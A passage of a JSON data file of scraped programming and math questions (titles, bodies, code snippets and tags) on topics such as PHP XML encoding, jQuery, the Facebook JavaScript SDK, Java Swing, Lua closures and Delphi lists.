inside a form to build that ULR. So, it'll be tricky to encode the url in Java \
nThanks in advance!\n", "", "java javascript utf-8 httprequest http-get"],
"352662": ["Error when trying to parse XML from SVN log command", "I'm trying to
build a simple drop down that will display the revisions of a specific file. From
the option chosen, I use jQuery to fetch the current text contained in that
revision and populate a textarea (using svn cat). \nThe header in my HTML file:\n\
nMy shell command:\n\nXML parsing call:\n\nAt this point, I get this error:\n\
nInput is not proper UTF-8, indicate\n encoding ! Bytes: 0xE9 0x20 0xE7 0x61\n\n-
I'm using the utf8_decode function to help display characters properly. For
instance, \"\u00e9\" gets displayed as \"\u00c3\u00a9\"\n-If I change the meta tag
to utf-8, it displays properly. However, I need to have ISO-8859-1 per
organizational set rules\n-I'm calling my SVN
repo using the file:/// protocol as a temporary measure for the moment\nFunny
enough, my jQuery call only necessitated a header call for it to display the
characters properly (shell_exec(svn cat...)):\n\n", "<meta http-equiv=\"Content-
Type\" content=\"text/html; charset=ISO-8859-1\">\n", "php svn exec"], "2718687":
["Why IDataSource Interface exists for ASP.NET and not for Winform?", "I have
looked at BindingSource class in winform and the datasource member type is Object
(http://msdn.microsoft.com/en-us/library/system.windows.forms.bindingsource.datasou
rce.aspx).\nWouldn't it be a better design if datasource was of IDataSource Class
Interface like it seems in ASP.NET ?\n", "", "c#"], "5683993": ["Clear javascript
on dynamic load", "I have a javascript plugin for a special image scroller. The
scroller contains a bunch of timeout methods and a lot of variables with values set
from those timeouts. \nEverything works perfectly, but for the site I am working on
it is required that the pages are loaded dynamically. The problem with this is when
i for instance change the language on the site this is made by jquery load function
meaning the content is dynamically loaded onto the site - AND the image slider
aswell. \nNOW here is the big problem! When I load the image slider for the second
time dynamically all my previous values remains as well as the timers and
everything else. Is there any way to clear everything in the javascript plugin as
if it where like a page reload? \nI have tried a lot of stuff so far so a little
help would be much appreciated! \nThanks a lot! \n", "", "javascript jquery html
settimeout clear"], "4164963": ["Safe Instant Messenger for Kids", "What's the
safest instant message service for kids? I've used Skype before and get random
people soliciting me for adult material, free virus scans, etc... Does Google Talk
only allow you to chat with people you have added as a friend and they have
confirmed?\n", "", "security software-rec instant-messaging kids safety"],
"625791": ["Looking for a book on .NET Speech Recognition", "I have been able to
get some simple voice recognition code working, but I just haven't been able to
find examples out there for more complex semantics. Therefore, I'd really like to
pick up a good book on the subject -- specifically using System.Speech.Recognition
in .NET 3.5 and 4.0. Can anyone recommend one? I haven't found a single recent
one yet.\n", "", ".net-4.0 speech-recognition"], "3233108": ["Using double quotes
in Applescript command Do Shell Script Echo", "I'm trying to use applescript to run
a command line process. A simplified version of the Applescript looks like this\n\
nwith the expected result being \n\nIf I were to just to run that command in
Terminal, I get the correct output. However with applescript I get the following
result. Note the missing double quotes around the values. \n\nWhat am I missing
here? I need the double quotes around the values or else the command wont run
properly. \nThanks,\nMorgan\n", "do shell script \"echo bwfmetaedit --
INAM=\\\"name\\\" --IART=\\\"artist\\\" --ICRD=\\\"date\\\"
/desktop/filepath.wav\"\n", "applescript echo quotes double-quotes"], "2346668":
["SSL : sec_error_unknown_issuer", "I'm getting the sec_error_unknown_issuer on my
website : https://www.lceonline.co.uk/\nThe error occurs when I add an item to the
cart then click checkout (The checkout page seems to cause it) The SSL Certificate
is with Globasign\nIt seems that this error only occurs in Firefox. Does anyone
have a solution or can point me in the direction of one? Little bit of a struggle.\
nCheers Guys\n", "", "firefox ssl web-security"], "5026693": ["How to diagnose
client-side WCF issues in Silverlight environment?", "It seems that WCF diagnostics
is not available in SL. Is it because of limited System.Diagnostics support or
something else? Anyway, how do you track client-side WCF issues when server-side
diagnostics is not enough?\n", "", "wcf silverlight silverlight-3.0 diagnostics"],
"5988526": ["How to delete string inside a text file if do not match with user
input string?", "Lets say : I have a user input \"placeofjo.blogspot.com\"\nMy code
extracts links from this website and place the links in the text file. \nNow the
text file has this contents : \n\nI would like to delete \n\nand left it with only
the strings which is only similar to the user's input. \nHow do I do this? \
nDesired contents of the text file :\n\n", "http://www.twitter.com/jozefinfin/\
nhttp://www.facebook.com/jozefinfin/\nhttp://placeofjo.blogspot.com/
2008_08_01_archive.html\nhttp://placeofjo.blogspot.com/2008_09_01_archive.html\
nhttp://placeofjo.blogspot.com/2008_10_01_archive.html\nhttp://
placeofjo.blogspot.com/2008_11_01_archive.html\nhttp://placeofjo.blogspot.com/
2008_12_01_archive.html\nhttp://placeofjo.blogspot.com/2009_01_01_archive.html\
nhttp://placeofjo.blogspot.com/2009_02_01_archive.html\nhttp://
placeofjo.blogspot.com/2009_03_01_archive.html\nhttp://placeofjo.blogspot.com/
2009_04_01_archive.html\nhttp://placeofjo.blogspot.com/2009_05_01_archive.html\
nhttp://placeofjo.blogspot.com/2009_06_01_archive.html\nhttp://
placeofjo.blogspot.com/2009_07_01_archive.html\nhttp://placeofjo.blogspot.com/
2009_08_01_archive.html\nhttp://placeofjo.blogspot.com/2009_09_01_archive.html\
nhttp://placeofjo.blogspot.com/2009_10_01_archive.html\nhttp://
placeofjo.blogspot.com/2009_11_01_archive.html\nhttp://placeofjo.blogspot.com/
2010_01_01_archive.html\nhttp://placeofjo.blogspot.com/2010_02_01_archive.html\
nhttp://placeofjo.blogspot.com/2010_04_01_archive.html\nhttp://
placeofjo.blogspot.com/2010_06_01_archive.html\nhttp://placeofjo.blogspot.com/
2010_07_01_archive.html\nhttp://placeofjo.blogspot.com/2010_08_01_archive.html\
nhttp://placeofjo.blogspot.com/2010_10_01_archive.html\nhttp://
placeofjo.blogspot.com/2010_11_01_archive.html\nhttp://placeofjo.blogspot.com/
2011_01_01_archive.html\nhttp://placeofjo.blogspot.com/2011_02_01_archive.html\
nhttp://placeofjo.blogspot.com/2011_03_01_archive.html\nhttp://
endlessdance.blogspot.com\nhttp://blogskins.com/me/aaaaaa\nhttp://weheartit.com\n",
"java file-io"], "431819": ["How to integrate Cucumber into Code to Test Ratio?",
"When I use \"rake stats\" I can get to know how many lines of code I have written
for my RSpec tests. And my RSpec tests influences also the Code to Test Ratio.\nBut
can I list my lines of code from the Cucumber steps there, too?\nBest regards\n",
"", "ruby-on-rails cucumber bdd"], "5015104": ["android - How to build complex
views that stretch?", "I'm at the planning stages of my first proper android app.
Part of the brief is to have a very \"good looking\" interface (aka, plenty of
graphics). As I'm a web developer, and I'm used to the CSS way of doing things, I'm
struggling to understand how I will cater for all the different resolutions when
building my layouts. To cut it short, my question is this: how do I build complex,
image heavy views that can be seen in apps such as SoundHound (example view here,
for those not familiar with this app:
http://getandroidstuff.com/wp-content/uploads/2010/09/SoundHound-Android2.jpg)? Is
there a way I can tile images in a similar way to the way I'd tile in CSS?\n", "",
"android css view"], "5361015": ["Play framework: one model approach", "The
problem: \nWhen programming with play framework I feel that I'm stumbling with same
problem than in many times at the past which is creating several models of the same
type just because I want to add, update or use different data about certain model
in different use cases.\nLet me explain, lets consider of a example where I have 2
different views: register and login\nI would have following User model:\n\nIn case
of registering: I would have all corresponding fields in register.scala.html :
email, password, firstName, lastName - because I will need them all when I
register, right?\nBut also I would want to use repeatPassword field to confirm that
user has typed password correctly, so I would add this into User model:\n\nOk, then
I would extend this model to have repeat password confirmation check in order to
correct my \"automatic\" validations when form is submitted, like this:\n\nSo even
now I would have one extra attribute repeatPassword which is not persisted to
database but used within registration. \nProblem #1: Our model starts to go
confusing piece by piece.\nIn case of login: I would want to use same model because
its a User which is trying to sign in, right? But instead of all the fields I would
only need email, password.\nProblem #2: My User model cant be used in login because
its already customized to be used within registration - I would need to move
repeatPassword and validate() method to separate UserRegistation model, plus
duplicate firstName lastName etc. fields or mix using both User and
UserRegistration model within registration and to render two different forms to
same registration view = confusing.\nProblem #3: My login page cant use User model
because it has annotations in place, if I dont add all the necessary fields like
firstName, lastName etc. I will get errors. Again, I would need to create separate
UserLogin model just because I want to login to work.? Example below:\n\nSo very
fast, I would have 3 different models just to represent User, one of them is
persisted to database and two others is used to validate errors when we are
completing login and registration functionality at template side. \nSo my question
is: How on earth I should begin to solve this mess? code complexity is rising very
fast :) Should I create separate models.template and models.database packages where
template models are only ones within annotations and in case of no errors I start
to fill real model before saving or updating its info to database? I need
desperately answers from you guys/girls, Can we make one model approach? thnx in
advance.\n", "/**\n * Example
User class (simple annotations for demo purposes).\n * \n */\n@Entity\npublic
class User {\n\n @Id\n public Long id;\n\n @Required\n public String
email;\n\n @Required\n public String password;\n\n @Required\n public
String firstName;\n\n @Required\n public String lastName;\n\n}\n", "mvc model
playframework form-validation playframework-2.0"], "2748394": ["Read structured
data from binary file -?", "I know the file structure, suppose this structure is
this:\n\nSo the file contains chains of such records.\nWhat is the most elegent way
to parse such a file in Java?\nSupposedly, we can define a byte[] array of overall
length and read it with InputStream, but how then convert its subelements into
correct integer values?\nFirst thing, byte value in java is signed, we need
unsigned value in our case.\nNext thing, are there useful methods that allow to
convert a sub-array of bytes, say, bytes from 1-st to 4-th into a correct integer
value?\nI know for sure, there are functions pack & unpack in Perl, that allow you
to represent a string of bytes as an expression, let's say \"VV\" means 2 unsigned
long int values. You define such a string and provide it as an argument to a pack
or unpack functions, along with the bytes to be packed/unpacked. Are there such
things in Java / Apache libs etc ?\n", "[3-bytes long int],[1-byte long unsigned
integer],[4-bytes long unsigned integer]\n", "java parsing file-io"], "2202173":
["Replacement for Heroku Scheduler", "Heroku's Scheduler is great. For tasks
running daily, hourly or at 10 minute intervals I think it's excellent and simple.\
nI have a (very fast running) process I want to run every 10 seconds. I have it set
up as a rake task, how should I efficiently and simply set this up on the Heroku
platform while minimising my dyno usage?\nThanks\n", "", "ruby heroku rake"],
"2738426": ["Javascript sdk facebook", "I got to do a facebook API for a university
project. I'm trying to get these values from Facebook.\n\ncurrent user name and
id.\n friends geo-location, friends id and names, mutual friends.\n\nI have never
in my life seen the Javascript SDK so I try to work over a few examples in the
web.\nI got this:\n\nThere is a problem with the document.write.\nAnd I'm not sure
if the two arrays that save the id and name are working.\nI've got no idea how to
get mutual friends and geo-location\nHere is the online version:
www.astrophilia.com.ar\n", " //facebook app id\nvar mis_amigos_id = new
Array();\nvar mis_amigos_name = new Array();\nappid='512456102098788';\
nchannelurl='www.astrophilia.com.ar/facebook-load-friends/includes/channel.html';\
n\n//function to get current userid\nfunction getUser()\n{\n FB.init({\n
appId : '512456102098788', // App ID\n channelUrl :
'www.astrophilia.com.ar/facebook-load-friends/includes/channel.html', // Channel
File\n status : true, // check login status\n cookie :
true, // enable cookies to allow the server to access the session\n xfbml
: true // parse XFBML\n });\n //check current user login status\n
FB.getLoginStatus(function(response) {\n if (response.status ===
'connected') {\n loadFriends();\n } else {\n //user is
not connected.\n FB.login(function(response) {\n if
(response.authResponse) {\n loadFriends();\n }
else {\n alert('User cancelled login or did not fully
authorize.');\n }\n });\n }\n
});\n}\n\n//funcion que carga amigos, this function load the friends\nfunction
loadFriends()\n{\n //i think this is a json objet with all the data\n
FB.api('/me/friends', function(response) {\n console.log(response);\n
var divContainer=$('.facebook-friends');\n //this for sees all friends\n
for(i=0;i<response.data.length;i++)\n {\n
mis_amigos_id[i] = response.data[i].id;\n mis_amigos_name[i] =
response.data[i].name;\n document.write(mis_amigos_name[i]+\" tiene
el id \"+mis_amigos_id[i]+\"</ br>\");\n\n // original code: creates
a img element: response.data.id is the id of the current friend\n
//$(document.createElement(\"img\")).attr({ src:
'https://graph.facebook.com/'+response.data[i].id+'/picture', title:
response.data[i].name ,onClick:'alert(\"You poked \"+this.title);'})\n
//apend to div container. osea que imprime la imagen en el div.\
n // .appendTo(divContainer); \n }\n });\n}\n\
n//start from here\n$(document).ready(function(){\n $('.load-
button').click(function(){\n getUser();\n });\n});\n", "javascript
facebook facebook-javascript-sdk"], "4112098": ["Securely restrict access to a
private Debian repository", "I was looking for a method to restrict access to a
private Debian repository and be able to authenticate to it non-interactively (i.e.
using a script)\nThe most useful article I found if actually one from Debian
administration site but the secure method uses ssh and public/private keys. It
works great but each host's public key needs to be inside the remote
authorized_keys file to successfully authenticate. \nIt doesn't says nothing about
providing password to ssh:// but I suppose it should be possible.\nHave you tried
other alternatives (e.g. ftps)? \nThanks in advance\n", "", "linux ubuntu debian
apt"], "635801": ["Homotheties and Geodesics", "A homothety is a smooth map between
Riemannian manifolds $f:(M,g)\\rightarrow (N,h)$ such that $f^*h=cg$ for some $c\\
ne 0$. \nMy questions is: how are the geodesics on these two spaces related? Can we
say that the geodesics on $(N,h)$ are given by $\\beta (t)= (f\\circ \\alpha)(t/\\
sqrt{c})$ where $\\alpha $ is a geodesic on $(M,g)$?\n", "", "differential-
geometry"], "3908306": ["Remove text decoration from ActionLink", "I'm trying to
remove the text decoration from the following however text-decoration: none doesnt
seem to work. Please could anyone give me some pointers?\n\nMy CSS:\n\n",
"<h1>The<br/>@Html.ActionLink(\"World Wide Web\", \"WWW\", new { @class
= \"NameStyle\" })</h1>\n", "html asp.net-mvc razor"], "866605": ["Fluent
NHibernate mapping", "I've inserted value into Make and Models table. But the Ids
in both tables are showing in Even and Odd number.\nThe Id column suppose
to .GeneratedBy.Identity(); as (1,2,3,4.......) in both the parent and child tables
Id column.\n\nHow to fix this problem to avoid inserting Even or Odd numbers into
parent and child tables.\n\nAny help will greatly appreciated.\nThanks,\n", "MAKE\
nID | Name\n-----------\n1 | BMW\n3 | Mercedes\n\nMODELS\nID | Name | MakeID\
n------------------\n 2 | Ex | 1\n 4 | Lx | 3\n", ".net nhibernate fluent-
nhibernate fluent-nhibernate-mapping"], "4907278": ["Multiple users connecting to
same exchange account; possible corruption?", "I have a client that receives a lot
of emails from many different clients all day to their call centre. The call centre
employees then need to action the request.\nCurrently they have one mailbox that
they have setup for a large client they have where they have told them to direct
all your emails to this address [email protected], they usually have 5 people or
so manage that one client. so these people go in there and read the emails and
action them from their own inbox. But by reading the email the other users in the
group know now that someone has read that email and is actioning it. So they would
read the next one. They have many clients setup this way.\nI was told that having
many users connect to the same multiple mailboxs will eventually corrupt the ost
file locally and then the server file. Is this true? and if so..\nWhat would be the
best way for a call centre to manage a large volume of emails so they don't have to
talk to each other all day to see who is working on what? \nThanks in advance.\n",
"", "exchange"], "1490876": ["ASP.NET Roles not working in deployed ASP.NET MVC
application", "I have published and deployed an ASP.NET MVC application that uses
the Roles feature of ASP.NET authentication. On my development machine, Roles work
fine - but on my server, to which I've transferred the build, the entire database
(schema, data, and users), and with full permissions, Roles don't work.\nHere is
the line where my code crashes:\n\nFor some reason, such Roles queries aren't
working, but returns and is set properly.\nWhat gives?\n", "var exists =
Roles.RoleExists(\"Administrator\");\n", "c# asp.net asp.net-mvc authentication
asp.net-membership"], "1265349": ["apache poi set data source in a word document",
"Is it possible to set external data sources in word documents using the apache poi
libraries?\nI could not find anything specific to external data sources.\n", "",
"java apache word datasource apache-poi"], "438189": ["Python GPU programming", "I
am currently working on a project in python, and I would like to make use of the
GPU for some calculations. \nAt first glance it seems like there are many tools
available; at second glance, I feel like im missing something.\nCopperhead looks
awesome but has not yet been released. It would appear that im limited to writing
low-level CUDA or openCL kernels; no thrust, no cudpp. If id like to have something
sorted, im going to have to do it myself.\nThat doesnt seem quite right to me. Am I
indeed missing something? Or is this GPU-scripting not quite living up to the hype
yet?\nEdit: GPULIB seems like it might
be what I need. Documentation is rudimentary, and the python bindings are
mentioned only in passing, but im applying for a download link right now. Anyone
has experience with that, or links to similar free-for-academic-use GPU libraries?
ReEdit: ok, python bindings are infact nonexistant.\nEdit2: So I guess my best bet
is to write something in C/CUDA and call that from python?\n", "", "python cuda
gpu"], "5131834": ["How to get (up)values associated to C closures outside the
given function?", "In the Lua 5.2 manual we can find the following text:\n\nWhen a
C function is created, it is possible to associate some values\n with it, thus
creating a C closure (see lua_pushcclosure); these\n values are called upvalues
and are accessible to the function whenever\n it is called.\nWhenever a C function
is called, its upvalues are located at specific\n pseudo-indices. These pseudo-
indices are produced by the macro\n lua_upvalueindex. The first value associated
with a function is at\n position lua_upvalueindex(1), and so on. Any access to\n
lua_upvalueindex(n), where n is greater than the number of upvalues of\n the
current function (but not greater than 256), produces an\n acceptable (but
invalid) index.\n\nSo, I created a callback function associated with an object
pointer created with \"new\".\n\nAnd all the mechanics works very nicely... but now
it's time to clean up, and I'm unable to get the pointer back so I can delete it,
when I unregister the callback function or when I quit my program.\nI do find the
table entry using the following snippet:\n\n(Can I do it using ?)\nBut I'm unable
to get the upvalue associated to the cclosure outside the function (Indeed inside
this close function I can simply use but in this case I'm outside the close
function...)\nIs there a way to get this value so I can delete the pointer when I
do not need it anymore ?\n\nEdit: I did found the lua_getupvalue function that
should do what I need, but at the moment I don't know how to get the cclosure stack
index. So it's still doesn't works yet.\n", "lua_pushstring(L,\"myCallbackFunc\");\
nFoo* ideleg = new Foo()\nlua_pushlightuserdata (L, (Foo*)ideleg);\
nlua_pushcclosure(L, LuaCall<Tr,C,Args...>::LuaCallback,1);\nlua_settable(L,-3);\
n", "c++ c pointers lua"], "660294": ["Poor UDP performance with Windows Phone 7.1
(Mango)", "Im trying to continuously send small UDP-packets (8 byte) as fast as
possible from a Samsung Omnia 7 with Windows Phone 7.1 Beta2 refresh (Mango) to a
standard PC with Windows 7 and I get very erratic performance. \nThe weirdest thing
is that I get the best performance when sending one message per around 1-4
milliseconds. If I send messages faster (< 1 ms) or slower (> 4 ms) I get strange
freezings where the packages seem to get stuck (for 0.5-1 sec every ~0.5 sec)
somewhere before they get released again in a burst.\nAnother weird observation is
that the sending phone-app still seem to send the messages continuously. It is as
if the freezings arise outside the app, perhaps in the network-device on the phone
(?). But why is a 1-4 ms delay between the messages optimal? Why do I get more of
these freezings when sending messages with a lower rate (5-50 ms)?\n(When sending
from the emulator I get good performance.)\nUpdate\nIm kind of giving this up for
now. Perhaps it works better in the final release of WP7.1. He who waits shall
see.\n", "", ".net windows-phone-7 udp windows-phone-7.1"], "5937990": ["how to
remove div if class count is greater than x in jquery?", "I'm wondering if there is
a way to remove a div based on (1) the class and (2) the count? I was looking at
slice(), but I can't figure out how to get it to work with the html I'm forced to
use... \nBelow is the HTML and below that is the jquery code. (The add-book button
is at the very bottom) I commented the jquery code to try and explain what I'm
trying to do... (I also posted it at: http://jsfiddle.net/n00b0101/kW2vR/)\n\nHere
is the jquery:\n\nSo, after all is said and done, I should wind up with this html:\
n\n", "<div class=\"s-item\">\n <!-- Form for Book 0 -->\n <div class=\"s-
form\">\n <div class=\"form-item\"><input type=\"text\" name=\"book[0]\"
value=\"\" /></div>\n\n <div class=\"b-item\">\n <div
class=\"form-item\"><input type=\"text\" name=\"book[0][title][0]\" value=\"\"
/></div>\n <div class=\"form-item\"><input type=\"text\" name=\"book[0]
[subtitle][0]\" value=\"\" /></div>\n <div class=\"form-item\"><input
type=\"text\" name=\"book[0][author][0]\" value=\"\" /></div>\n </div>\n\n
<div class=\"b-item\">\n <div class=\"form-item\"><input type=\"text\"
name=\"book[0][title][1]\" value=\"\" /></div>\n <div class=\"form-
item\"><input type=\"text\" name=\"book[0][subtitle][1]\" value=\"\" /></div>\n
<div class=\"form-item\"><input type=\"text\" name=\"book[0][author][1]\"
value=\"\" /></div>\n </div>\n\n <div class=\"b-item\">\n
<div class=\"form-item\"><input type=\"text\" name=\"book[0][title][2]\" value=\"\"
/></div>\n <div class=\"form-item\"><input type=\"text\" name=\"book[0]
[subtitle][2]\" value=\"\" /></div>\n <div class=\"form-item\"><input
type=\"text\" name=\"book[0][author][2]\" value=\"\" /></div>\n
</div> \n\n <div class=\"book-buttons\"><input type=\"button\"
name=\"book-0-add\" value=\"Add Item\" /></div>\n </div>\n\n <!-- Form for
Book 1 -->\n <div class=\"s-form\">\n <div class=\"form-item\"><input
type=\"text\" name=\"book[1]\" value=\"\" /></div>\n\n <div class=\"b-
item\">\n <div class=\"form-item\"><input type=\"text\" name=\"book[1]
[title][0]\" value=\"\" /></div>\n <div class=\"form-item\"><input
type=\"text\" name=\"book[1][subtitle][0]\" value=\"\" /></div>\n <div
class=\"form-item\"><input type=\"text\" name=\"book[1][author][0]\" value=\"\"
/></div>\n </div>\n\n <div class=\"b-item\">\n <div
class=\"form-item\"><input type=\"text\" name=\"book[1][title][1]\" value=\"\"
/></div>\n <div class=\"form-item\"><input type=\"text\" name=\"book[1]
[subtitle][1]\" value=\"\" /></div>\n <div class=\"form-item\"><input
type=\"text\" name=\"book[1][author][1]\" value=\"\" /></div>\n </div>\n\n
<div class=\"book-buttons\"><input type=\"button\" name=\"book-1-add\" value=\"Add
Item\" /></div>\n </div> \n</div>\n\n<div class=\"new-book-button\"><input
type=\"button\" name=\"add-book\" value=\"\" /></div>\n", "jquery clone slice"],
"869298": ["TStringList, Dynamic Array or Linked List in Delphi?", "I have a
choice.\nI have a number of already ordered strings that I need to store and
access. It looks like I can choose between using:\n\nA TStringList\nA Dynamic Array
of strings, and\nA Linked List of strings (singly linked)\nand Alan in his comment
suggested I also add to the choices:\n\n\nIn what circumstances is each of these
better than the others?\nWhich is best for small lists (under 10 items)?\nWhich is
best for large lists (over 1000 items)?\nWhich is best for huge lists (over
1,000,000 items)?\nWhich is best to minimize memory use?\nWhich is best to minimize
loading time to add extra items on the end?\nWhich is best to minimize access time
for accessing the entire list from first to last?\nOn this basis (or any others),
which data structure would be preferable?\nFor reference, I am using Delphi 2009.\
n\nDimitry in a comment said: \n\nDescribe your task and data access pattern, then
it will be possible to give you an exact answer \n\nOkay. I've got a genealogy
program with lots of data. \nFor each person I have a number of events and
attributes. I am storing them as short text strings but there are many of them for
each person, ranging from 0 to a few hundred. And I've got thousands of people. I
don't need random access to them. I only need them associated as a number of
strings in a known order attached to each person. This is my case of thousands
of \"small lists\". They take time to load and use memory, and take time to access
if I need them all (e.g. to export the entire generated report).\nThen I have a few
larger lists, e.g. all the names of the sections of my \"virtual\" treeview, which
can have hundreds of thousands of names. Again I only need a list that I can access
by index. These are stored separately from the treeview for efficiency, and the
treeview retrieves them only as needed. This takes a while to load and is very
expensive memory-wise for my program. But I don't have to worry about access time,
because only a few are accessed at a time.\nHopefully this gives you an idea of
what I'm trying to accomplish.\np.s. I've posted a lot of questions about
optimizing Delphi here at StackOverflow. My program reads 25 MB files with 100,000
people and creates data structures and a report and treeview for them in 8 seconds
but uses 175 MB of RAM to do so. I'm working to reduce that because I'm aiming to
load files with several million people in 32-bit Windows.\n\nI've just found some
excellent suggestions for optimizing a TList at this StackOverflow question:\nIs
there a faster TList implementation?\n", "TList<string>", "delphi data-structures
linked-list tstringlist dynamic-arrays"], "4410673": ["How can I take a user
generated canvas drawing and send to a function that recursively calls that
drawing?", "I have the functions in place that will render the drawing according to
the listed function, my question is how can I send that drawing to the function?
(My input tag attempt is listed below the function js.)\nHere is the function that
will handle the final image-->\n\n}\n\nMy hope is to allow the user to simply click
a btn that will send the newly created canvas image into this funtion and display
the 'recursedImage' in a separate window
that the user can save as a png file if they desire. I pre-thank you and any
suggestions would be very much appreciated. \n", " function recurseImage() { \n
img = new Image(); \n img.src = myCanvas.toDataUrl(); \n fr1 =
makeFrame(ctx, makeVect(400,0), makeVect(400, 0), makeVect(0, 400));\n
img.onload = function(){ \n ctx.save(); \n newPainter =
cornerSplit(imagePainter,5);\n newPainter(fr1); \n
ctx.restore();\n ctx.save();\n
newPainter(flipHorizLeft(fr1));\n ctx.restore();\n
ctx.save();\n newPainter(flipVertDown(fr1)); \n
ctx.restore();\n ctx.save();\n
newPainter(flipVertDown(flipHorizLeft(fr1))); \n} \n", "canvas recursion"],
"5002790": ["Why does getDocumentFilter need to cast to AbstractDocument?", "\nWhy
does casting to as works but without casting it like\n does throw error of cant
find the method. can anyone please explain?\nEDIT:\n\nprints which is also implies
it is kind of . I dont' understand then why calling method of throws error.\n",
"/*\n * To change this template, choose Tools | Templates\n * and open the template
in the editor.\n */\npackage texteditor;\nimport javax.swing.*;\nimport
javax.swing.text.*;\nimport javax.swing.event.*;\n\n/**\n *\n * @author\n */\
npublic class TextPad implements DocumentListener,ChangeListener{\n private
JTextPane textArea;\n private Document textDoc;\n\n private int
selectionOffset;\n private int selectionLength;\n\n public void init()\n
{\n //System.out.println(\"Constructor invoked\");\n // TODO code
application logic here\n JFrame window = new JFrame(\"Text Editor\");\n
//JMenuBar menuBar = window.getJMenuBar();\n\n /**\n //Create menu
bar\n JMenuBar menuBar= new JMenuBar();\n //File Menu\n JMenu
fileMenu = new JMenu(\"File\");\n fileMenu.add(new JMenuItem(\"Save\"));\n
* */\n\n // menuBar.add(fileMenu);\n //window.setJMenuBar(menuBar);\n\n
this.textArea= new JTextPane();\n\n this.textDoc =
this.textArea.getDocument();\n this.textDoc.addDocumentListener(this);\n
this.textArea.getCaret().addChangeListener(this);\n
//System.out.println(d.getClass());\n\n //override default text generation
****THIS LINE******\n ((AbstractDocument)this.textDoc).getDocumentFilter();\
n\n //Add scorllable interface in jtextpane\n window.add(new
JScrollPane(this.textArea));\n\n
window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n
window.setVisible(true);\n }\n public void changedUpdate(DocumentEvent e)\n
{\n //System.out.println(\"changed\");\n\n }\n public void
removeUpdate(DocumentEvent e)\n {\n System.out.println(\"removed\");\n
}\n\n public void insertUpdate(DocumentEvent e)\n {\n\n try\n
{\n System.out.println(this.textDoc.getText(0,this.textDoc.getLength()));\
n\n }\n catch(Exception ex)\n {\n
System.err.println(ex);\n }\n\n }\n /**\n *\n * @param e\n
*/\n public void stateChanged(ChangeEvent e)\n {\n
System.out.println(this.textArea.getCaret().getMark());\n }\n\n}\n", "java swing
gui jtextpane"], "5298144": ["Struts Framework Book", "I am looking for a JEE Book
that teaches the Struts Framework. \nI don't know which of the following JEE Books
teaches about Struts.\nAny help would be appreciated. Thank you. \n", "", "java
books java-ee struts"], "4731138": ["How to inspect my standalone Xul app using DOM
Inspector (or similar)?", "I'm trying to inspect my standalone Xul app, but the DOM
Inspector's page talks just about documents loaded on the browser.\nHow can I
inspect my standalone Xul app?\n", "", "firefox-addon xul"], "912336": ["Python
Random Random", "ho i making the random number be below the random number before.\
n\nwhati mean that the \"ipca , ipcb , ipcc,\" i need that they will grow down and
not chust a other number.\n", " if Airplane==1:\n while icounter<4:\n
ifuelliter=random.randrange(1,152621)\n #litter/kilometer\n LpK=152620/13500\
n km=LpK*ifuelliter\n\n\n ipca=random.randrange(0,50)\n
ipcb=random.randrange(0,50)\n ipcc=random.randrange(0,812)\n\n\n #3D space
distance calculation\n idstance= math.sqrt((icba-ipca)**2 + (icbb-ipcb)**2 +
(icbc-ipcc)**2)\n\n totaldist=km-idstance\n\n if totaldist>0:\n
print \"You have enoph fuel to get to New York AirPort\"\n print
ifuelliter,LpK,km,ipca,ipcb,ipcc,idstance\n icounter=3\n\n if
totaldist<=0:\n\n print \"You dont have enoph fuel to get to New York
AirPort please go to the nearest one or you will die\"\n print
ifuelliter,LpK,km,ipca,ipcb,ipcc,idstance\n icounter=icounter+1\n", "python
python-2.7"], "4896602": [".doc -> latex preserving font", "This is a follow-up to
Converting MS Word .doc to LaTeX by command line.\nDo any of those utilities, or
any others, have a mechanism to preserve the font when converting from to tex?
I'm dealing with a document in which source code is indicated by Courier font, and
all of the approaches I've attempted (e.g., textutils -> html -> pandoc) preserve
some of the formatting but ignore the font. I've found no clear way to pull out
source code by other means (e.g., regexp).\n", ".doc", "conversion"], "1831300":
["How to make function return string in c++", "\nPossible Duplicate:\nHow to
convert this code to use string \n\nI have a function like this:\n\nHow can I make
it return a string instead? I tried\n\nbut the compiler complains.\n", "char
*foo()\n{\n\n}\n", "c++ string function char"], "4247150": ["Condition for proving
that a sequence of expectations decreases", "Let $X_i \\sim F_i$, where $F_i =
G(F_{i-1})$ where there sequence begins with a known $F_0$ (and all $F_i$ are valid
cdfs (monotonic increasing) defined over (0,1)).\nI believe from other posts, that
it is not enough to show that $\\mathbb{E}X_0> \\mathbb{E}X_{\\infty}$ (where
$X_{\\infty}$ is the the random variable distributed by $F_i$ as $i \\to \\infty$,
which we can assume is a Dirac mass function) to prove that $\\mathbb{E}X_i$
decreases with $i$.\nI believe the reason for this is that there could be a
converging zig zag behavior, so that the iterations of $F_i$ could make the
corresponding expectations go up a little, then down a little, while still
converging to a fixed point.\nMy question is -- are there are properties of the $G$
operator that would allow you to say that there are no zigzags, and thus the above
conditions are sufficient for proving the mean decreases with $i$?\nPerhaps this is
naive, but it would seem to me that most functions that someone like myself would
encounter (read: a beginner) would not create zigzag behavior. Since G does not
depend on n, it can't be raising a negative number to alternating powers or
anything. And we can assume no trig operators.\nIs it possible to say something
like \"$EX_0 > EX_{\\infty}$, and the $G$ function only contains such-and-such type
operations, therefore $EX_i$ decreases with $i$\" ?\nAnd if so, what is \"such-and-
such\" ? \n", "", "sequences-and-series probability-theory inequality"], "5230523":
["Modification date gets updated when selecting/clicking a file", "On our
